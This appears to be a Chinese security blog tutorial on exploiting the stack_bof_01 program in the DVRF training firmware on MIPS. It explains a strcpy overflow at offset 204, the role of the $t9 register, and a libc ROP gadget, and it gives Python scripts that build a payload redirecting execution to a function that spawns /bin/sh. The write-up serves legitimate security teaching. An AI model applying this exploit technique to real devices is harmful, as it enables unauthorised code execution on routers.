前言


本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


本文以 DVRF 中的第一个漏洞程序 stack_bof_01 为例,在实战 MIPS 架构中栈溢出的简单利用。

正文

去github上面把 DVRF 下载下来,然后用 binwalk 解开

pwnable 目录下就是相应的示例程序

在解开的文件系统的根目录下使用 chrootqemu 运行 程序:

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01  "`cat ./pwnable/Intro/input`"

使用了cat 命令读取文件作为命令行参数,传给目标程序,这样可以使我们输入一些不可见字符用于劫持程序流。

stack_bof_01 是一个很简单的栈溢出漏洞程序,它把用户从命令行传过去的参数直接使用 strcpy 拷贝到栈缓冲区,从而栈溢出。经过调试,输入204个字符后就可以覆盖到 ra 寄存器保存到栈栈上的值,进而可以控制 $pc 的值。

修改文件内容的 python 脚本如下

#!/usr/bin/python
padding = "O" * 204
payload = padding + "B"*4
with open("input", "wb") as f:
f.write(payload)

接下来就是考虑该如何利用的问题了。程序中包含了一个 执行 system("/bin/sh") 的函数 dat_shell, 如果是在 x86 平台下的话,我们直接设置 $pc 寄存器到它的地址就可以了。在 MIPS 如果直接指过去或怎么样呢?我们试试

访问了非法内存,异常了。

原因在于,在 MIPS 中,函数内部会通过 $t9 寄存器和 $gp 寄存器来找数据,地址等。同时在 mips 的手册内默认 $t9 的值为当前函数的开始地址,这样才能正常的索引,所以我们需要先用一个 rop_gadget 设置 $t9, 然后再跳到 dat_shell 函数。

在libc 中可以找到这样一个gadgets

.text:00006B20                 lw      $t9, arg_0($sp)
.text:00006B24 jalr $t9

加上libc的基地址就行了。用qemu-mipsel-static模拟程序是看不到目标程序的maps的,所以我们可以通过打印 got 表的函数指针,然后计算偏移得到 libc 的基地址。

所以我们现在的利用流程就是:

  • 修改返回地址到 rop_gadget, 设置 $r9dat_shell 函数的地址
  • 跳转到 dat_shell 函数,执行system
#!/usr/bin/python
padding = "O" * 204
gadget1 = "\x20\xbb\x6e\x76"
dat_shell_addr = "\x50\x09\x40" # Partial overwrite with little-endian arch
payload = padding + gadget1 + dat_shell_addr
with open("input", "wb") as f:
f.write(payload)

总结

  • 学习到了 $t9 寄存器的重要作用以后再使用 rop 调用函数时,要使用 jalr $t9 类的 gadgets 以保证进入函数后, $t9 的值为函数的起始地址,避免出错。

  • 使用ida反汇编mips程序时,它好像默认 $t9 的值为函数的起始地址,导致我们分析问题时造成困惑,pwndbg 和 radare2 就不会这样。

参考链接:

最新文章

  1. 使用css3 实现太阳升起落下效果
  2. jQuery focus、blur事件 添加、删除类名
  3. 阿伦学习html5 之 Local Storage (本地储存)
  4. 谈谈Java的集合组件
  5. 在CentOS6.5上安装Tomcat6
  6. Linux操作系统
  7. 关于Eclipse Modeling Framework 实现模型驱动开发,第一部分
  8. linux下mysql的安装
  9. Nubia Z5S(高通公司MSM8974) QHSUSB_BULK砖的方法节省模式(随着win7在恢复recovery分区案例)
  10. juce中的内存泄漏检测
  11. Swift - 获取屏幕点击坐标下所有对象(SpriteKit游戏开发)
  12. oAuth 认证
  13. SpringMVC的@RequestParam的解释
  14. 数据库表反向生成(一) MyBatis-generator与IDEA的集成
  15. [BZOJ3110] [Zjoi2013] K大数查询 (树套树)
  16. APICloud · 跨越2018,技术改变世界
  17. 通过安全网闸访问MongoDB
  18. ORA-4031 During Startup Nomount using RMAN without parameter file (PFILE) (Doc ID 1176443.1)
  19. 使用electron搭建桌面app的简便方法
  20. js让元素获取焦点

热门文章

  1. Java导包问题
  2. java ListNode链表数据结构
  3. e的理解
  4. (转)Python 运算符
  5. vue构造器以及实例属性
  6. java常量类的实现方式_枚举类_项目实践
  7. SpringMVC中配置AOP拦截controller 失效
  8. JavaScript数据结构-6.优先队列
  9. C 标准库 - string.h之memmove使用
  10. 学会了ES6,就不会写出那样的代码